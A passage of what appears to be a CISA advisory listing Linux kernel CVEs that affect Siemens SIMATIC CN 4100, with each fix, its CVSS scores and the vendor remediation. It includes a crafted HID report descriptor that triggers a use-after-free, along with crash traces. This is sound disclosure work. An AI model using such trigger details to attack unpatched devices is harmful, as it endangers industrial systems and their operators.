<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39813</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ftrace: Fix potential warning in trace_printk_seq during ftrace_dump When calling ftrace_dump_one() concurrently with reading trace_pipe, a WARN_ON_ONCE() in trace_printk_seq() can be triggered due to a race condition. The issue occurs because: CPU0 (ftrace_dump) CPU1 (reader) echo z &gt; /proc/sysrq-trigger !trace_empty(&amp;iter) trace_iterator_reset(&amp;iter) &lt;- len = size = 0 cat /sys/kernel/tracing/trace_pipe trace_find_next_entry_inc(&amp;iter) __find_next_entry ring_buffer_empty_cpu &lt;- all empty return NULL trace_printk_seq(&amp;iter.seq) WARN_ON_ONCE(s-&gt;seq.len &gt;= s-&gt;seq.size) In the context between trace_empty() and trace_find_next_entry_inc() during ftrace_dump, the ring buffer data was consumed by other readers. This caused trace_find_next_entry_inc to return NULL, failing to populate `iter.seq`. At this point, due to the prior trace_iterator_reset, both `iter.seq.len` and `iter.seq.size` were set to 0. Since they are equal, the WARN_ON_ONCE condition is triggered. Move the trace_printk_seq() into the if block that checks to make sure the return value of trace_find_next_entry_inc() is non-NULL in ftrace_dump_one(), ensuring the 'iter.seq' is properly populated before subsequent operations.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39813">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39817</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: efivarfs: Fix slab-out-of-bounds in efivarfs_d_compare Observed on kernel 6.6 (present on master as well): BUG: KASAN: slab-out-of-bounds in memcmp+0x98/0xd0 Call trace: kasan_check_range+0xe8/0x190 __asan_loadN+0x1c/0x28 memcmp+0x98/0xd0 efivarfs_d_compare+0x68/0xd8 __d_lookup_rcu_op_compare+0x178/0x218 __d_lookup_rcu+0x1f8/0x228 d_alloc_parallel+0x150/0x648 lookup_open.isra.0+0x5f0/0x8d0 open_last_lookups+0x264/0x828 path_openat+0x130/0x3f8 do_filp_open+0x114/0x248 do_sys_openat2+0x340/0x3c0 __arm64_sys_openat+0x120/0x1a0 If dentry-&gt;d_name.len &lt; EFI_VARIABLE_GUID_LEN , 'guid' can become negative, leadings to oob. The issue can be triggered by parallel lookups using invalid filename: T1 T2 lookup_open -&gt;lookup simple_lookup d_add // invalid dentry is added to hash list lookup_open d_alloc_parallel __d_lookup_rcu __d_lookup_rcu_op_compare hlist_bl_for_each_entry_rcu // invalid dentry can be retrieved -&gt;d_compare efivarfs_d_compare // oob Fix it by checking 'guid' before cmp.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39817">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39819</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs/smb: Fix inconsistent refcnt update A possible inconsistent update of refcount was identified in `smb2_compound_op`. Such inconsistent update could lead to possible resource leaks. Why it is a possible bug: 1. In the comment section of the function, it clearly states that the reference to `cfile` should be dropped after calling this function. 2. Every control flow path would check and drop the reference to `cfile`, except the patched one. 3. Existing callers would not handle refcount update of `cfile` if -ENOMEM is returned. To fix the bug, an extra goto label "out" is added, to make sure that the cleanup logic would always be respected. As the problem is caused by the allocation failure of `vars`, the cleanup logic between label "finished" and "out" can be safely ignored. According to the definition of function `is_replayable_error`, the error code of "-ENOMEM" is not recoverable. Therefore, the replay logic also gets ignored.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39819">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39823</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: KVM: x86: use array_index_nospec with indices that come from guest min and dest_id are guest-controlled indices. Using array_index_nospec() after the bounds checks clamps these values to mitigate speculative execution side-channels.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39823">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39824</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: HID: asus: fix UAF via HID_CLAIMED_INPUT validation After hid_hw_start() is called hidinput_connect() will eventually be called to set up the device with the input layer since the HID_CONNECT_DEFAULT connect mask is used. During hidinput_connect() all input and output reports are processed and corresponding hid_inputs are allocated and configured via hidinput_configure_usages(). This process involves slot tagging report fields and configuring usages by setting relevant bits in the capability bitmaps. However it is possible that the capability bitmaps are not set at all leading to the subsequent hidinput_has_been_populated() check to fail leading to the freeing of the hid_input and the underlying input device. This becomes problematic because a malicious HID device like a ASUS ROG N-Key keyboard can trigger the above scenario via a specially crafted descriptor which then leads to a user-after-free when the name of the freed input device is written to later on after hid_hw_start(). Below, report 93 intentionally utilises the HID_UP_UNDEFINED Usage Page which is skipped during usage configuration, leading to the frees. 0x05, 0x0D, // Usage Page (Digitizer) 0x09, 0x05, // Usage (Touch Pad) 0xA1, 0x01, // Collection (Application) 0x85, 0x0D, // Report ID (13) 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00) 0x09, 0xC5, // Usage (0xC5) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x04, // Report Count (4) 0xB1, 0x02, // Feature (Data,Var,Abs) 0x85, 0x5D, // Report ID (93) 0x06, 0x00, 0x00, // Usage Page (Undefined) 0x09, 0x01, // Usage (0x01) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x1B, // Report Count (27) 0x81, 0x02, // Input (Data,Var,Abs) 0xC0, // End Collection Below is the KASAN splat after triggering the UAF: [ 21.672709] ================================================================== [ 21.673700] BUG: KASAN: slab-use-after-free in asus_probe+0xeeb/0xf80 [ 21.673700] Write of size 8 at addr ffff88810a0ac000 by task kworker/1:2/54 [ 21.673700] [ 21.673700] CPU: 1 UID: 0 PID: 54 Comm: kworker/1:2 Not tainted 6.16.0-rc4-g9773391cf4dd-dirty #36 PREEMPT(voluntary) [ 21.673700] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 [ 21.673700] Call Trace: [ 21.673700] [ 21.673700] dump_stack_lvl+0x5f/0x80 [ 21.673700] print_report+0xd1/0x660 [ 21.673700] kasan_report+0xe5/0x120 [ 21.673700] __asan_report_store8_noabort+0x1b/0x30 [ 21.673700] asus_probe+0xeeb/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Allocated by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_alloc_info+0x3b/0x50 [ 21.673700] __kasan_kmalloc+0x9c/0xa0 [ 21.673700] __kmalloc_cache_noprof+0x139/0x340 [ 21.673700] input_allocate_device+0x44/0x370 [ 21.673700] hidinput_connect+0xcb6/0x2630 [ 21.673700] hid_connect+0xf74/0x1d60 [ 21.673700] hid_hw_start+0x8c/0x110 [ 21.673700] asus_probe+0x5a3/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Freed by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_free_info+0x3f/0x60 [ 21.673700] __kasan_slab_free+0x3c/0x50 [ 21.673700] kfre ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39824">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39825</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: smb: client: fix race with concurrent opens in rename(2) Besides sending the rename request to the server, the rename process also involves closing any deferred close, waiting for outstanding I/O to complete as well as marking all existing open handles as deleted to prevent them from deferring closes, which increases the race window for potential concurrent opens on the target file. Fix this by unhashing the dentry in advance to prevent any concurrent opens on the target.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39825">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39826</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: rose: convert 'use' field to refcount_t The 'use' field in struct rose_neigh is used as a reference counter but lacks atomicity. This can lead to race conditions where a rose_neigh structure is freed while still being referenced by other code paths. For example, when rose_neigh-&gt;use becomes zero during an ioctl operation via rose_rt_ioctl(), the structure may be removed while its timer is still active, potentially causing use-after-free issues. This patch changes the type of 'use' from unsigned short to refcount_t and updates all code paths to use rose_neigh_hold() and rose_neigh_put() which operate reference counts atomically.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39826">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39827</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: rose: include node references in rose_neigh refcount Current implementation maintains two separate reference counting mechanisms: the 'count' field in struct rose_neigh tracks references from rose_node structures, while the 'use' field (now refcount_t) tracks references from rose_sock. This patch merges these two reference counting systems using 'use' field for proper reference management. Specifically, this patch adds incrementing and decrementing of rose_neigh-&gt;use when rose_neigh-&gt;count is incremented or decremented. This patch also modifies rose_rt_free(), rose_rt_device_down() and rose_clear_route() to properly release references to rose_neigh objects before freeing a rose_node through rose_remove_node(). These changes ensure rose_neigh structures are properly freed only when all references, including those from rose_node structures, are released. As a result, this resolves a slab-use-after-free issue reported by Syzbot.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39827">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39828</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: atm: atmtcp: Prevent arbitrary write in atmtcp_recv_control(). syzbot reported the splat below. [0] When atmtcp_v_open() or atmtcp_v_close() is called via connect() or close(), atmtcp_send_control() is called to send an in-kernel special message. The message has ATMTCP_HDR_MAGIC in atmtcp_control.hdr.length. Also, a pointer of struct atm_vcc is set to atmtcp_control.vcc. The notable thing is struct atmtcp_control is uAPI but has a space for an in-kernel pointer. struct atmtcp_control { struct atmtcp_hdr hdr; /* must be first */ ... atm_kptr_t vcc; /* both directions */ ... } __ATM_API_ALIGN; typedef struct { unsigned char _[8]; } __ATM_API_ALIGN atm_kptr_t; The special message is processed in atmtcp_recv_control() called from atmtcp_c_send(). atmtcp_c_send() is vcc-&gt;dev-&gt;ops-&gt;send() and called from 2 paths: 1. .ndo_start_xmit() (vcc-&gt;send() == atm_send_aal0()) 2. vcc_sendmsg() The problem is sendmsg() does not validate the message length and userspace can abuse atmtcp_recv_control() to overwrite any kptr by atmtcp_control. Let's add a new -&gt;pre_send() hook to validate messages from sendmsg(). [0]: Oops: general protection fault, probably for non-canonical address 0xdffffc00200000ab: 0000 [#1] SMP KASAN PTI KASAN: probably user-memory-access in range [0x0000000100000558-0x000000010000055f] CPU: 0 UID: 0 PID: 5865 Comm: syz-executor331 Not tainted 6.17.0-rc1-syzkaller-00215-gbab3ce404553 #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/12/2025 RIP: 0010:atmtcp_recv_control drivers/atm/atmtcp.c:93 [inline] RIP: 0010:atmtcp_c_send+0x1da/0x950 drivers/atm/atmtcp.c:297 Code: 4d 8d 75 1a 4c 89 f0 48 c1 e8 03 42 0f b6 04 20 84 c0 0f 85 15 06 00 00 41 0f b7 1e 4d 8d b7 60 05 00 00 4c 89 f0 48 c1 e8 03 &lt;42&gt; 0f b6 04 20 84 c0 0f 85 13 06 00 00 66 41 89 1e 4d 8d 75 1c 4c RSP: 0018:ffffc90003f5f810 EFLAGS: 00010203 RAX: 00000000200000ab RBX: 0000000000000000 RCX: 0000000000000000 RDX: ffff88802a510000 RSI: 00000000ffffffff RDI: ffff888030a6068c RBP: ffff88802699fb40 R08: ffff888030a606eb R09: 1ffff1100614c0dd R10: dffffc0000000000 R11: ffffffff8718fc40 R12: dffffc0000000000 R13: ffff888030a60680 R14: 000000010000055f R15: 00000000ffffffff FS: 00007f8d7e9236c0(0000) GS:ffff888125c1c000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000000045ad50 CR3: 0000000075bde000 CR4: 00000000003526f0 Call Trace: vcc_sendmsg+0xa10/0xc60 net/atm/common.c:645 sock_sendmsg_nosec net/socket.c:714 [inline] __sock_sendmsg+0x219/0x270 net/socket.c:729 ____sys_sendmsg+0x505/0x830 net/socket.c:2614 ___sys_sendmsg+0x21f/0x2a0 net/socket.c:2668 __sys_sendmsg net/socket.c:2700 [inline] __do_sys_sendmsg net/socket.c:2705 [inline] __se_sys_sendmsg net/socket.c:2703 [inline] __x64_sys_sendmsg+0x19b/0x260 net/socket.c:2703 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xfa/0x3b0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f8d7e96a4a9 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 51 18 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f8d7e923198 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f8d7e9f4308 RCX: 00007f8d7e96a4a9 RDX: 0000000000000000 RSI: 0000200000000240 RDI: 0000000000000005 RBP: 00007f8d7e9f4300 R08: 65732f636f72702f R09: 65732f636f72702f R10: 65732f636f72702f R11: 0000000000000246 R12: 00007f8d7e9c10ac R13: 00007f8d7e9231a0 R14: 0000200000000200 R15: 0000200000000250 Modules linked in:</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39828">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39835</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: xfs: do not propagate ENODATA disk errors into xattr code ENODATA (aka ENOATTR) has a very specific meaning in the xfs xattr code; namely, that the requested attribute name could not be found. However, a medium error from disk may also return ENODATA. At best, this medium error may escape to userspace as "attribute not found" when in fact it's an IO (disk) error. At worst, we may oops in xfs_attr_leaf_get() when we do: error = xfs_attr_leaf_hasname(args, &amp;bp); if (error == -ENOATTR) { xfs_trans_brelse(args-&gt;trans, bp); return error; } because an ENODATA/ENOATTR error from disk leaves us with a null bp, and the xfs_trans_brelse will then null-deref it. As discussed on the list, we really need to modify the lower level IO functions to trap all disk errors and ensure that we don't let unique errors like this leak up into higher xfs functions - many like this should be remapped to EIO. However, this patch directly addresses a reported bug in the xattr code, and should be safe to backport to stable kernels. A larger-scope patch to handle more unique errors at lower levels can follow later. (Note, prior to 07120f1abdff we did not oops, but we did return the wrong error code to userspace.)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39835">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
